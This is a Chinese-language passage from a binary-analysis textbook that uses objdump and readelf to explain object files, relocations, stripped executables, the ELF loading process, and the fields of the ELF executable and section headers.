现在你已经了解了如何编译一个二进制文件,让我们来看一下在编译阶段汇编生成的目标文件内容。之后,我将反汇编主二进制可执行文件,向你展示它的内容与目标文件的不同之处。通过这种方式,你将更清楚地了解目标文件中包含了什么,以及在链接阶段添加了什么内容。

1.3.1 查看目标文件内部

目前,我将使用objdump工具来展示如何进行反汇编(我将在第六章讨论其他反汇编工具)。这是一个简单且易于使用的反汇编工具,通常包含在大多数 Linux 发行版中,非常适合快速了解二进制文件中包含的代码和数据。清单 1-8 展示了示例目标文件compilation_example.o的反汇编版本。

清单 1-8:反汇编目标文件

$ ➊objdump -sj .rodata compilation_example.o

compilation_example.o:   file format elf64-x86-64

Contents of section .rodata:
 0000 48656c6c 6f2c2077 6f726c64 2100    Hello, world!.

$ ➋objdump -M intel -d compilation_example.o

compilation_example.o:   file format elf64-x86-64

Disassembly of section .text:

0000000000000000 ➌<main>:
   0:  55                     push   rbp
   1:  48 89 e5               mov    rbp,rsp
   4:  48 83 ec 10            sub    rsp,0x10
   8:  89 7d fc               mov    DWORD PTR [rbp-0x4],edi
   b:  48 89 75 f0            mov    QWORD PTR [rbp-0x10],rsi
   f:  bf 00 00 00 00         mov    edi,➍0x0
  14:  e8 00 00 00 00       ➎call   19 <main+0x19>
  19:  b8 00 00 00 00         mov    eax,0x0
  1e:  c9                     leave
  1f:  c3                     ret

如果仔细查看清单 1-8,你会看到我调用了两次objdump。第一次,在➊处,我让objdump显示.rodata段的内容。.rodata表示“只读数据”,它是二进制文件中存储所有常量的部分,包括“Hello, world!”字符串。我将在第二章中对.rodata和其他 ELF 二进制段进行更详细的讨论,该章介绍了 ELF 二进制格式。现在请注意,.rodata的内容由字符串的 ASCII 编码组成,显示在输出的左侧。右侧则是这些字节的可读表示。

在➋处对objdump的第二次调用反汇编了目标文件中的所有代码,使用了 Intel 语法。正如你所看到的,它仅包含main函数的代码➌,因为这是源文件中唯一定义的函数。在大多数情况下,输出与之前编译阶段生成的汇编代码非常接近(略有一些汇编级别的宏)。有趣的是,指向“Hello, world!”字符串的指针(在➍处)被设置为零。随后,应该使用puts打印该字符串的调用➎也指向了一个无意义的位置(偏移量 19,在main中间)。

为什么应该引用puts的调用反而指向了main的中间?我之前提到过,目标文件中的数据和代码引用尚未完全解析,因为编译器还不知道文件最终将被加载到哪个基地址。这就是为什么在目标文件中puts的调用尚未正确解析的原因。目标文件正在等待链接器填入此引用的正确值。你可以通过请求readelf显示目标文件中所有的重定位符号来确认这一点,如清单 1-9 所示。

清单 1-9: *readelf*显示的重定位符号

   $ readelf --relocs compilation_example.o

   Relocation section '.rela.text' at offset 0x210 contains 2 entries:
      Offset             Info         Type            Sym. Value    Sym. Name + Addend
➊ 000000000010      00050000000a R_X86_64_32     0000000000000000    .rodata + 0
➋ 000000000015      000a00000002 R_X86_64_PC32   0000000000000000    puts - 4
   ...

➊处的重定位符号告诉链接器,它应该解析字符串的引用,指向它最终在.rodata段中的地址。类似地,标记为➋的行告诉链接器如何解析对puts的调用。

你可能注意到从puts符号中减去了值 4。你现在可以忽略这一点;链接器计算重定位的方式有些复杂,而readelf的输出可能令人困惑,所以我这里就不详细讲解重定位的细节,而是集中讲解反汇编二进制文件的整体过程。我将在第二章提供更多关于重定位符号的信息。

在清单 1-9 中的readelf输出中,每行最左侧的列(阴影部分)是目标文件中需要填充解析引用的偏移地址。如果你仔细观察,你可能已经注意到,在两种情况下,它等于需要修复的指令的偏移量加 1。例如,在objdump的输出中,调用puts的代码偏移量是0x14,但重定位符号指向的偏移量却是0x15。这是因为你只想覆盖指令的操作数,而不是操作码。恰巧的是,对于需要修复的两条指令,操作码是 1 字节长的,因此,为了指向指令的操作数,重定位符号需要跳过操作码字节。

1.3.2 检查完整的二进制可执行文件

既然你已经看过目标文件的内部结构,现在是时候反汇编一个完整的二进制文件了。我们先从一个带符号的二进制文件开始,然后再处理去符号化的版本,看看反汇编输出的差异。反汇编目标文件和二进制可执行文件之间有很大的区别,你可以在清单 1-10 中的objdump输出中看到这一点。

清单 1-10:使用 *objdump* 反汇编可执行文件*

$ objdump -M intel -d a.out

a.out:       file format elf64-x86-64

Disassembly   of section ➊.init:

00000000004003c8 <_init>:
  4003c8:  48 83 ec 08             sub    rsp,0x8
  4003cc:  48 8b 05 25 0c 20 00    mov    rax,QWORD PTR [rip+0x200c25]
  4003d3:  48 85 c0                test   rax,rax
  4003d6:  74 05                   je     4003dd <_init+0x15>
  4003d8:  e8 43 00 00 00          call   400420 <__libc_start_main@plt+0x10>
  4003dd:  48 83 c4 08             add    rsp,0x8
  4003e1:  c3                      ret

Disassembly of section ➋.plt:

00000000004003f0 <puts@plt-0x10>:
  4003f0: ff 35 12 0c 20 00        push   QWORD PTR [rip+0x200c12]
  4003f6: ff 25  14 0c 20 00       jmp    QWORD PTR [rip+0x200c14]
  4003fc: 0f 1f  40 00             nop    DWORD PTR [rax+0x0]

0000000000400400 <puts@plt>:
  400400:  ff 25 12 0c 20 00       jmp    QWORD PTR [rip+0x200c12]
  400406:  68 00 00 00 00          push   0x0
  40040b:  e9 e0 ff ff ff          jmp    4003f0 <_init+0x28>

...

Disassembly of section ➌.text:

0000000000400430 <_start>:

  400430:   31 ed                  xor    ebp,ebp
  400432:   49 89 d1               mov    r9,rdx
  400435:   5e                     pop    rsi
  400436:   48 89 e2               mov    rdx,rsp
  400439:   48 83 e4 f0            and    rsp,0xfffffffffffffff0
  40043d:   50                     push   rax
  40043e:   54                     push   rsp
  40043f:   49 c7 c0 c0 05 40 00   mov    r8,0x4005c0
  400446:   48 c7 c1 50 05 40 00   mov    rcx,0x400550
  40044d:   48 c7 c7 26 05 40 00   mov    rdi,0x400526
  400454:   e8 b7 ff ff ff         call   400410 <__libc_start_main@plt>
  400459:   f4                     hlt
  40045a:   66 0f 1f 44 00 00      nop    WORD PTR [rax+rax*1+0x0]

0000000000400460 <deregister_tm_clones>:
...

0000000000400526 ➍<main>:
  400526:  55                      push   rbp
  400527:  48 89 e5                mov    rbp,rsp
  40052a:  48 83 ec 10             sub    rsp,0x10
  40052e:  89 7d fc                mov    DWORD PTR [rbp-0x4],edi
  400531:  48 89 75 f0             mov    QWORD PTR [rbp-0x10],rsi
  400535:  bf d4 05 40 00          mov    edi,0x4005d4
  40053a:  e8 c1 fe ff ff          call   400400 ➎<puts@plt>
  40053f:  b8 00 00 00 00          mov    eax,0x0
  400544:  c9                      leave
  400545:  c3                      ret
  400546:  66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
  40054d:  00 00 00

0000000000400550 <__libc_csu_init>:
...

Disassembly of section .fini:

00000000004005c4 <_fini>:
  4005c4:  48 83 ec 08             sub   rsp,0x8
  4005c8:  48 83 c4 08             add   rsp,0x8
  4005cc:  c3                      ret

你可以看到,二进制文件的代码比目标文件多得多。它不再仅仅是main函数,甚至不仅仅是一个代码段。现在有多个段,名称包括.init ➊、.plt ➋ 和 .text ➌。这些段包含了执行不同功能的代码,如程序初始化或调用共享库的存根。

.text段是主要的代码段,包含了main函数 ➍。它还包含了其他一些函数,如_start,这些函数负责设置命令行参数和为main准备运行时环境,并在main执行完后进行清理。这些额外的函数是标准函数,在任何由gcc生成的 ELF 二进制文件中都存在。

你还可以看到,之前未完成的代码和数据引用现在已经被链接器解析了。例如,调用 puts ➎ 现在指向了包含 puts 的共享库的正确存根(位于 .plt 部分)。(我将在第二章中解释 PLT 存根的工作原理。)

所以,完整的二进制可执行文件包含了比相应的目标文件显著更多的代码(和数据,尽管我没有展示)。但到目前为止,输出的解释并没有更加困难。当二进制文件被去除符号后,情况就不同了,正如清单 1-11 所示,它使用 objdump 来反汇编去除了符号的示例二进制文件。

清单 1-11:使用 *objdump* 反汇编一个去除符号的可执行文件

  $ objdump -M intel -d ./a.out.stripped

  ./a.out.stripped:        file format elf64-x86-64

  Disassembly of section ➊.init:

  00000000004003c8 <.init>:
    4003c8:  48 83 ec 08             sub    rsp,0x8
    4003cc:  48 8b 05 25 0c 20 00    mov    rax,QWORD PTR [rip+0x200c25]
    4003d3:  48 85 c0                test   rax,rax
    4003d6:  74 05                   je     4003dd <puts@plt-0x23>
    4003d8:  e8 43 00 00 00          call   400420 <__libc_start_main@plt+0x10>
    4003dd:  48 83 c4 08             add    rsp,0x8
    4003e1:  c3                      ret

  Disassembly of section ➋.plt:
  ...

  Disassembly of section ➌.text:

  0000000000400430   <.text>:
➍  400430: 31 ed                     xor   ebp,ebp
    400432: 49 89    d1               mov   r9,rdx
    400435: 5e                        pop   rsi
    400436: 48 89    e2               mov   rdx,rsp
    400439: 48 83    e4 f0            and   rsp,0xfffffffffffffff0
    40043d: 50                        push  rax
    40043e: 54                        push  rsp
    40043f: 49 c7    c0 c0 05 40 00   mov   r8,0x4005c0
    400446: 48 c7    c1 50 05 40 00   mov   rcx,0x400550
    40044d: 48 c7    c7 26 05 40 00   mov   rdi,0x400526
➎  400454: e8 b7 ff ff ff            call  400410 <__libc_start_main@plt>
    400459: f4                        hlt
    40045a: 66 0f 1f 44 00 00         nop   WORD PTR [rax+rax*1+0x0]
➏  400460: b8 3f 10 60 00            mov   eax,0x60103f
    ...
    400520: 5d                        pop   rbp
    400521: e9   7a ff ff ff          jmp   4004a0 <__libc_start_main@plt+0x90>
➐  400526: 55                        push  rbp
    400527: 48   89   e5              mov   rbp,rsp
    40052a: 48   83   ec   10         sub   rsp,0x10
    40052e: 89   7d   fc              mov   DWORD PTR [rbp-0x4],edi
    400531: 48   89   75   f0         mov   QWORD PTR [rbp-0x10],rsi
    400535: bf   d4   05   40 00      mov   edi,0x4005d4
    40053a: e8   c1   fe   ff ff      call  400400 <puts@plt>
    40053f: b8   00   00   00 00      mov   eax,0x0
    400544: c9                        leave
➑  400545: c3                        ret
    400546: 66   2e 0f 1f 84 00 00    nop   WORD PTR cs:[rax+rax*1+0x0]
    40054d: 00   00 00
    400550: 41   57                   push  r15
    400552: 41   56                   push  r14
    ...

  Disassembly of section .fini:

  00000000004005c4 <.fini>:
    4005c4: 48 83 ec 08               sub   rsp,0x8
    4005c8: 48 83 c4 08               add   rsp,0x8
    4005cc: c3                        ret

清单 1-11 的主要结论是,尽管不同的部分仍然可以清晰地区分(标记为 ➊、➋ 和 ➌),但是函数却不再是这样。相反,所有函数都被合并成了一大块代码。_start 函数从 ➍ 开始,deregister_tm_clones 从 ➏ 开始。main 函数从 ➐ 开始,到 ➑ 结束,但在这些情况下,并没有任何特别的标记来表明这些标记位置的指令代表函数的开始。唯一的例外是 .plt 部分的函数,它们仍然保留了原来的名称(如你在 ➎ 处调用 __libc_start_main 时看到的那样)。除此之外,其他部分的输出你需要自己去理解反汇编结果。

即使在这个简单的例子中,情况已经很混乱了;试想一下,如果要理解一个包含数百个不同函数且所有函数都融合在一起的大型二进制文件该有多困难!这正是为什么在许多二进制分析领域中,准确的自动化函数检测如此重要的原因,我将在第六章中详细讨论这一点。

1.4 加载和执行二进制文件

现在你已经了解了编译过程以及二进制文件的内部结构。你也学会了如何使用 objdump 静态反汇编二进制文件。如果你一直跟着做,你应该已经有了一个全新的二进制文件保存在你的硬盘上。接下来,你将学习当你加载和执行一个二进制文件时会发生什么,这对我在后续章节中讨论动态分析概念非常有帮助。

尽管具体细节因平台和二进制格式不同而有所变化,但加载和执行二进制文件的过程通常涉及一些基本步骤。图 1-2 展示了在基于 Linux 的平台上如何将加载的 ELF 二进制文件(如刚才编译的文件)在内存中表示出来。从高层次来看,在 Windows 上加载 PE 二进制文件也非常相似。

image

图 1-2:在基于 Linux 的系统上加载 ELF 二进制文件

加载二进制文件是一个复杂的过程,涉及操作系统的大量工作。还需要注意的是,二进制文件在内存中的表示不一定与它在磁盘上的表示一一对应。例如,大量的零初始化数据可能会在磁盘上的二进制文件中被压缩(以节省磁盘空间),但这些零在内存中会被展开。磁盘上的二进制文件某些部分可能在内存中排列的顺序不同,或者根本不加载到内存中。由于这些细节取决于二进制格式,因此我将在第二章(ELF 格式)和第三章(PE 格式)中讨论磁盘上与内存中的二进制表示。现在,我们暂时只做一个关于加载过程的高层概述。

当你决定运行一个二进制文件时,操作系统首先会为程序设置一个新的进程环境,包括一个虚拟地址空间。^(7) 随后,操作系统会将一个解释器映射到进程的虚拟内存中。这个解释器是一个用户空间程序,知道如何加载二进制文件并执行必要的重定位操作。在 Linux 中,解释器通常是一个名为 ld-linux.so 的共享库。在 Windows 中,解释器功能实现为 ntdll.dll 的一部分。加载解释器后,内核将控制权转交给它,解释器开始在用户空间工作。

Linux ELF 二进制文件包含一个名为 .interp 的特殊部分,该部分指定了用于加载二进制文件的解释器路径,如你在readelf中看到的那样,参见清单 1-12。

清单 1-12:*.interp* 部分的内容

$ readelf -p .interp a.out

String dump of section '.interp':
  [     0] /lib64/ld-linux-x86-64.so.2

如前所述,解释器将二进制文件加载到其虚拟地址空间中(即解释器本身被加载的空间)。然后,它解析二进制文件,找出(其中包括)该二进制文件所使用的动态库。解释器将这些动态库映射到虚拟地址空间中(使用mmap或等效函数),并在二进制文件的代码段中执行必要的最后时刻重定位操作,以填充动态库引用的正确地址。实际上,解决动态库函数引用的过程通常会被延迟到稍后。换句话说,解释器并不会在加载时立即解析这些引用,而是在首次调用时才会解析它们。这种方法被称为懒加载绑定,我将在第二章中详细解释。重定位完成后,解释器查找二进制文件的入口点并将控制权转交给它,开始正常执行二进制文件。

1.5 总结

现在你已经熟悉了二进制文件的一般结构和生命周期,是时候深入了解特定的二进制格式了。我们从广泛使用的 ELF 格式开始,它是下一章的主题。

练习

1. 定位函数

编写一个包含多个函数的 C 程序,并分别将其编译成汇编文件、目标文件和可执行二进制文件。尝试在汇编文件、反汇编的目标文件和可执行文件中定位你写的函数。你能看到 C 代码和汇编代码之间的对应关系吗?最后,剥离可执行文件并再次尝试识别函数。

2. 节

如你所见,ELF 二进制文件(以及其他类型的二进制文件)被划分为多个节。有些节包含代码,有些节包含数据。你认为为什么会有代码节和数据节的区别?你认为代码节和数据节的加载过程有何不同?当加载一个二进制文件执行时,是否有必要将所有节都复制到内存中?

第二章:ELF 格式

现在你对二进制文件的外观和工作原理有了一个大致的了解,你可以开始深入研究真正的二进制格式了。在本章中,你将探讨可执行与可链接格式(ELF),这是基于 Linux 的系统上的默认二进制格式,也是你在本书中将要处理的格式。

ELF 用于可执行文件、目标文件、共享库和核心转储。在这里我将专注于 ELF 可执行文件,但相同的概念也适用于其他 ELF 文件类型。由于你在本书中主要处理的是 64 位二进制文件,所以我将围绕 64 位 ELF 文件进行讨论。然而,32 位格式相似,主要的区别在于某些头字段和其他数据结构的大小和顺序。你不应该在将这里讨论的概念推广到 32 位 ELF 二进制文件时遇到任何问题。

图 2-1 展示了一个典型的 64 位 ELF 可执行文件的格式和内容。当你第一次开始详细分析 ELF 二进制文件时,所有涉及的复杂性可能会让人感到不知所措。但从本质上讲,ELF 二进制文件实际上只由四种类型的组件组成:可执行文件头、一系列(可选的)程序头、若干个,以及一系列(可选的)节头,每个节一个头。接下来我会逐一讨论这些组件。

image

图 2-1:一眼看出 64 位 ELF 二进制文件

正如你在 图 2-1 中看到的,标准 ELF 二进制文件首先是可执行文件头,其次是程序头,最后是节和节头。为了使接下来的讨论更容易理解,我将使用稍微不同的顺序,在讨论程序头之前先讨论节和节头。让我们从可执行文件头开始。

2.1 可执行文件头

每个 ELF 文件都以一个 可执行文件头 开始,它只是一个结构化的字节序列,告诉你它是一个 ELF 文件,是什么类型的 ELF 文件,并且指示在文件中在哪里可以找到其他所有内容。要了解可执行文件头的格式,你可以查找其类型定义(以及其他与 ELF 相关的类型和常量的定义)在 /usr/include/elf.h 或 ELF 规范中。^(1) 列表 2-1 显示了 64 位 ELF 可执行文件头的类型定义。

列表 2-1:在 /usr/include/elf.h 中的 ELF64_Ehdr 定义

typedef struct {
  unsigned char e_ident[16];   /* Magic number and other info       */
  uint16_t     e_type;         /* Object file type                  */
  uint16_t     e_machine;      /* Architecture                      */
  uint32_t     e_version;      /* Object file version               */
  uint64_t     e_entry;        /* Entry point virtual address       */
  uint64_t     e_phoff;        /* Program header table file offset  */
  uint64_t     e_shoff;        /* Section header table file offset  */
  uint32_t     e_flags;        /* Processor-specific flags          */
  uint16_t     e_ehsize;       /* ELF header size in bytes          */
  uint16_t     e_phentsize;    /* Program header table entry size   */
  uint16_t     e_phnum;        /* Program header table entry count  */
  uint16_t     e_shentsize;    /* Section header table entry size   */
  uint16_t     e_shnum;        /* Section header table entry count  */
  uint16_t     e_shstrndx;     /* Section header string table index */
} Elf64_Ehdr;

可执行文件头在这里表示为一个 C struct,叫做 Elf64_Ehdr。如果你在 /usr/include/elf.h 中查找它,你可能会注意到,那里给出的 struct 定义包含了像 Elf64_HalfElf64_Word 这样的类型。这些只是整数类型的 typedef,例如 uint16_tuint32_t。为了简便起见,我已经在 图 2-1 和 列表 2-1 中展开了所有的 typedef

2.1.1 e_ident 数组

可执行文件头(以及 ELF 文件)从一个 16 字节的数组e_ident开始。e_ident数组总是以一个 4 字节的“魔术值”开头,用于标识该文件为 ELF 二进制文件。魔术值由十六进制数0x7f组成,后跟字母ELF的 ASCII 字符代码。将这些字节放在文件的开始位置非常方便,因为它允许诸如file工具以及二进制加载器等专用工具迅速识别出这是一个 ELF 文件。

紧跟在魔术值之后的是一些字节,它们提供了关于 ELF 文件类型的更多详细信息。在elf.h中,这些字节的索引(e_ident数组中的第 4 至第 15 个索引)被符号化地称为EI_CLASSEI_DATAEI_VERSIONEI_OSABIEI_ABIVERSIONEI_PAD,分别对应。图 2-1(Figure 2-1)展示了它们的视觉表示。

EI_PAD字段实际上包含多个字节,即e_ident中的第 9 至第 15 个索引位置。所有这些字节目前都被指定为填充字节;它们保留供将来可能使用,但目前都设置为零。

EI_CLASS字节表示 ELF 规范所称的二进制文件的“类别”。这个词其实是个误称,因为“类别”这个词太过泛化,几乎可以表示任何东西。这个字节实际表示的是二进制文件是针对 32 位架构还是 64 位架构的。在前一种情况下,EI_CLASS字节设置为常量ELFCLASS32(值为 1),而在后一种情况下,设置为ELFCLASS64(值为 2)。

与架构的位宽相关的是架构的字节序。换句话说,多字节值(如整数)在内存中的存储顺序是先存储最低有效字节(小端字节序)还是先存储最高有效字节(大端字节序)?EI_DATA字节指示二进制文件的字节序。ELFDATA2LSB(值为 1)表示小端字节序,而ELFDATA2MSB(值为 2)表示大端字节序。

下一个字节叫做EI_VERSION,它表示在创建二进制文件时使用的 ELF 规范的版本。目前,唯一有效的值是EV_CURRENT,其定义等于 1。

最后,EI_OSABIEI_ABIVERSION字节表示与应用程序二进制接口(ABI)和操作系统(OS)相关的信息,这些信息用于标识二进制文件的编译环境。如果EI_OSABI字节被设置为非零值,表示 ELF 文件中使用了某些特定于 ABI 或操作系统的扩展;这可能会改变二进制文件中其他字段的含义,或指示存在非标准部分。零值表示二进制文件是针对 UNIX 系统 V ABI 编译的。EI_ABIVERSION字节表示二进制文件目标所使用的EI_OSABI字节所指示的 ABI 的具体版本。通常你会看到它被设置为零,因为当使用默认的EI_OSABI时,不需要指定版本信息。

你可以通过使用readelf查看二进制文件的头部,检查任何 ELF 二进制文件的e_ident数组。例如,列表 2-2 显示了第一章中的compilation_example二进制文件的输出(在讨论可执行头部的其他字段时,我还会引用此输出)。

列表 2-2:由 readelf 显示的可执行头部

  $ readelf -h a.out
  ELF Header:
➊ Magic:     7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
➋ Class:                               ELF64
   Data:                                2's complement, little endian
   Version:                             1 (current)
   OS/ABI:                              UNIX - System V
   ABI Version:                         0
➌ Type:                                EXEC (Executable file)
➍ Machine:                             Advanced Micro Devices X86-64
➎ Version:                             0x1
➏ Entry point address:                 0x400430
➐ Start of program headers:            64 (bytes into file)
   Start of section headers:            6632 (bytes into file)
   Flags:                               0x0
➑ Size of this header:                 64 (bytes)
➒ Size of program headers:             56 (bytes)
   Number of program headers:           9
   Size of section headers:             64 (bytes)
   Number of section headers:           31
➓ Section header string table index:   28

在列表 2-2 中,e_ident数组显示在标记为Magic的行上 ➊。它以熟悉的四个魔术字节开始,接着是一个值 2(表示ELFCLASS64),然后是 1(ELFDATA2LSB),最后是另一个 1(EV_CURRENT)。其余字节均为零,因为EI_OSABIEI_ABIVERSION字节保持其默认值;填充字节也都设置为零。某些字节中包含的信息在专门的行中被显式地重复,分别标记为ClassDataVersionOS/ABIABI Version ➋。

2.1.2 e_type, e_machine 和 e_version 字段

e_ident数组之后,紧跟着一系列多字节整数字段。其中第一个字段是e_type,它指定了二进制文件的类型。你最常见的值包括ET_REL(表示可重定位目标文件)、ET_EXEC(可执行二进制文件)和ET_DYN(动态库,也称为共享目标文件)。在示例二进制文件的readelf输出中,你可以看到这是一个可执行文件(在列表 2-2 中的Type: EXEC ➌)。

接下来是e_machine字段,它表示二进制文件的目标架构 ➍。在本书中,通常会将其设置为EM_X86_64(正如readelf输出中所示),因为你主要将处理 64 位 x86 二进制文件。你可能遇到的其他值包括EM_386(32 位 x86)和EM_ARM(用于 ARM 二进制文件)。

e_version字段的作用与e_ident数组中的EI_VERSION字节相同;具体来说,它指示创建二进制文件时使用的 ELF 规范版本。由于该字段是 32 位宽的,你可能会认为有许多可能的值,但实际上,唯一的可能值是 1(EV_CURRENT),表示该规范的版本为 1 ➎。

2.1.3 e_entry 字段

e_entry字段表示二进制文件的入口点;这是执行开始的虚拟地址(详见第 1.4 节)。对于示例二进制文件,执行从地址0x400430开始(在列表 2-2 中的readelf输出中标记为 ➏)。这是解释器(通常是ld-linux.so)在加载二进制文件到虚拟内存后将控制权转交的地方。入口点也是递归反汇编的有用起点,正如我在第六章中将要讨论的。

2.1.4 e_phoff 和 e_shoff 字段

如 图 2-1 所示,ELF 二进制文件包含程序头表和节头表等数据结构。等我完成对可执行文件头的讨论后,我会重新讲解这些头部类型的含义,不过我现在可以透露的一点是,程序头表和节头表不需要位于二进制文件中的特定偏移量位置。唯一可以假定始终位于 ELF 二进制文件中固定位置的数据结构是可执行文件头,它始终位于文件的开头。

如何知道程序头和节头的位置?为此,可执行文件头包含两个专门的字段,分别为 e_phoffe_shoff,它们指示程序头表和节头表的文件偏移量。对于示例二进制文件,偏移量分别为 64 字节和 6632 字节(见 清单 2-2 中的 ➐ 两行)。这些偏移量也可以设置为零,表示文件中不包含程序头或节头表。需要特别注意的是,这些字段是 文件偏移量,即表示需要读取多少字节才能到达头部。换句话说,与之前讨论的 e_entry 字段不同,e_phoffe_shoff 不是 虚拟地址

2.1.5 e_flags 字段

e_flags 字段为特定架构的标志提供空间,这些标志与二进制文件所编译的架构相关。例如,旨在嵌入式平台上运行的 ARM 二进制文件可以在 e_flags 字段中设置 ARM 特定的标志,以指示它们期望嵌入式操作系统提供的接口的额外细节(如文件格式约定、栈组织等)。对于 x86 二进制文件,e_flags 通常设置为零,因此不予关注。

2.1.6 e_ehsize 字段

e_ehsize 字段指定可执行文件头的大小(以字节为单位)。对于 64 位 x86 二进制文件,可执行文件头的大小始终为 64 字节,正如你在 readelf 输出中看到的那样,而对于 32 位 x86 二进制文件,其大小为 52 字节(见 清单 2-2 中的 ➑)。

2.1.7 e_entsize 和 e_num 字段

如你所知,e_phoffe_shoff 字段指向程序头和节头表开始的文件偏移量。但是,为了让链接器、加载器(或其他处理 ELF 二进制文件的程序)能够实际遍历这些表格,仍然需要额外的信息。具体来说,它们需要知道每个程序头或节头在表格中的大小,以及每个表格中的头部数量。这些信息由 e_phentsizee_phnum 字段提供,用于程序头表;由 e_shentsizee_shnum 字段提供,用于节头表。在 清单 2-2 中的示例二进制文件中,共有 9 个程序头,每个头大小为 56 字节,且有 31 个节头,每个节头大小为 64 字节 ➒。

2.1.8 e_shstrndx 字段

e_shstrndx 字段包含与一个特殊 字符串表 节(名为 .shstrtab)相关联的头部在节头表中的索引。这个节是一个专用节,包含一个以空字符结尾的 ASCII 字符串表,存储着二进制文件中所有节的名称。ELF 处理工具(如 readelf)会使用这个节来正确显示节的名称。我将在本章稍后介绍 .shstrtab(以及其他节)。

在 Listing 2-2 中的示例二进制文件中,.shstrtab 的节头索引为 28 ➓。你可以使用 readelf 查看 .shstrtab 节的内容(以十六进制转储的形式),如 Listing 2-3 所示。

Listing 2-3: readelf 显示的 .shstrtab

$ readelf -x .shstrtab a.out

Hex dump of section '.shstrtab':
  0x00000000 002e7379 6d746162 002e7374 72746162 ➊..symtab..strtab
  0x00000010 002e7368 73747274 6162002e 696e7465 ..shstrtab..inte
  0x00000020 7270002e 6e6f7465 2e414249 2d746167 rp..note.ABI-tag
  0x00000030 002e6e6f 74652e67 6e752e62 75696c64 ..note.gnu.build
  0x00000040 2d696400 2e676e75 2e686173 68002e64 -id..gnu.hash..d
  0x00000050 796e7379 6d002e64 796e7374 72002e67 ynsym..dynstr..g
  0x00000060 6e752e76 65727369 6f6e002e 676e752e nu.version..gnu.
  0x00000070 76657273 696f6e5f 72002e72 656c612e version_r..rela.
  0x00000080 64796e00 2e72656c 612e706c 74002e69 dyn..rela.plt..i
  0x00000090 6e697400 2e706c74 2e676f74 002e7465 nit..plt.got..te
  0x000000a0 7874002e 66696e69 002e726f 64617461 xt..fini..rodata
  0x000000b0 002e6568 5f667261 6d655f68 6472002e ..eh_frame_hdr..
  0x000000c0 65685f66 72616d65 002e696e 69745f61 eh_frame..init_a
  0x000000d0 72726179 002e6669 6e695f61 72726179 rray..fini_array
  0x000000e0 002e6a63 72002e64 796e616d 6963002e ..jcr..dynamic..
  0x000000f0 676f742e 706c7400 2e646174 61002e62 got.plt..data..b
  0x00000100 7373002e 636f6d6d 656e7400          ss..comment.

你可以在 Listing 2-3 ➊ 的右侧看到字符串表中包含的节名称(如 .symtab.strtab 等)。现在你已经熟悉了 ELF 可执行文件头部的格式和内容,接下来让我们继续讨论节头。

2.2 节头

ELF 二进制文件中的代码和数据逻辑上被划分为连续的、不重叠的块,称为 。节没有预定的结构;每个节的结构根据其内容不同而不同。实际上,一个节甚至可能没有任何特定的结构;许多时候,节不过是一个没有结构的代码或数据块。每个节都有一个 节头,它描述了节的属性并允许你定位属于该节的字节。二进制文件中所有节的节头都包含在 节头表 中。

严格来说,节的划分旨在为链接器提供方便的组织方式(当然,节也可以被其他工具解析,比如静态二进制分析工具)。这意味着,并非每个节在设置进程和虚拟内存以执行二进制文件时都是必须的。有些节包含的数据根本不需要执行,例如符号信息或重定位信息。

由于节的目的仅仅是为链接器提供视图,因此节头表是 ELF 格式的一个可选部分。那些不需要链接的 ELF 文件不必包含节头表。如果没有节头表,执行文件头中的 e_shoff 字段将被设置为零。

为了加载和执行二进制文件到一个进程中,二进制文件的代码和数据需要以不同的方式组织。因此,ELF 可执行文件指定了另一种逻辑组织方式,称为,它们在执行时使用(与在链接时使用的节不同)。稍后我会在本章中讨论程序头时覆盖段的内容。现在,让我们聚焦于节,但请记住,我在这里讨论的逻辑组织仅在链接时(或当静态分析工具使用时)存在,而不是在运行时。

让我们从讨论节头的格式开始。之后,我们将查看节的内容。清单 2-4 展示了按/usr/include/elf.h中规定的格式定义的 ELF 节头。

清单 2-4:在/usr/include/elf.h中定义的 Elf64_Shdr

typedef struct {
  uint32_t  sh_name;       /* Section name (string tbl index)   */
  uint32_t  sh_type;       /* Section type                      */
  uint64_t  sh_flags;      /* Section flags                     */
  uint64_t  sh_addr;       /* Section virtual addr at execution */
  uint64_t  sh_offset;     /* Section file offset               */
  uint64_t  sh_size;       /* Section size in bytes             */
  uint32_t  sh_link;       /* Link to another section           */
  uint32_t  sh_info;       /* Additional section information    */
  uint64_t  sh_addralign;  /* Section alignment                 */
  uint64_t  sh_entsize;    /* Entry size if section holds table */
} Elf64_Shdr;

2.2.1 sh_name 字段

如清单 2-4 所示,节头的第一个字段被称为sh_name。如果设置了,它包含指向字符串表的索引。如果索引为零,则表示该节没有名称。

在第 2.1 节中,我讨论了一个名为.shstrtab的特殊节,它包含一个以NULL终止的字符串数组,每个节名称都有一个字符串。描述字符串表的节头索引存储在可执行文件头的e_shstrndx字段中。这使得像readelf这样的工具能够轻松找到.shstrtab节,并通过每个节头的sh_name字段(包括.shstrtab的头)索引它,以找到描述该节名称的字符串。这使得人工分析人员能够轻松识别每个节的用途。^(2)

2.2.2 sh_type 字段

每个节都有一个类型,通过一个名为sh_type的整数字段来表示,该字段告诉链接器有关节内容结构的信息。图 2-1 展示了我们目的下最重要的节类型。我将逐一讨论每种重要的节类型。

类型为SHT_PROGBITS的节包含程序数据,例如机器指令或常量。这些节没有特定的结构供链接器解析。

还有一些特殊的节类型用于符号表(SHT_SYMTAB表示静态符号表,SHT_DYNSYM表示动态链接器使用的符号表)和字符串表(SHT_STRTAB)。符号表以一种定义明确的格式(如果你有兴趣的话,可以查看elf.h中的struct Elf64_Sym)存储符号,其中描述了特定文件偏移量或地址的符号名称和类型等信息。如果二进制文件被剥离,静态符号表可能不存在。字符串表,如前所述,仅包含一个以NULL终止的字符串数组,字符串表的第一个字节按照约定设置为NULL

类型为 SHT_RELSHT_RELA 的节对于链接器特别重要,因为它们包含了按照明确格式(在 elf.h 中的 struct Elf64_Relstruct Elf64_Rela)定义的重定位条目,链接器可以解析这些条目来执行其他节中的必要重定位。每个重定位条目都告诉链接器在二进制文件中某个位置需要进行重定位,以及应该解析到哪个符号。实际的重定位过程相当复杂,我现在不打算深入讨论。重要的结论是,SHT_RELSHT_RELA 节用于静态链接。

类型为 SHT_DYNAMIC 的节包含了动态链接所需的信息。该信息的格式使用 struct Elf64_Dyn,如 elf.h 中所指定。

2.2.3 sh_flags 字段

节标志(在 sh_flags 字段中指定)描述了节的附加信息。这里最重要的标志是 SHF_WRITESHF_ALLOCSHF_EXECINSTR

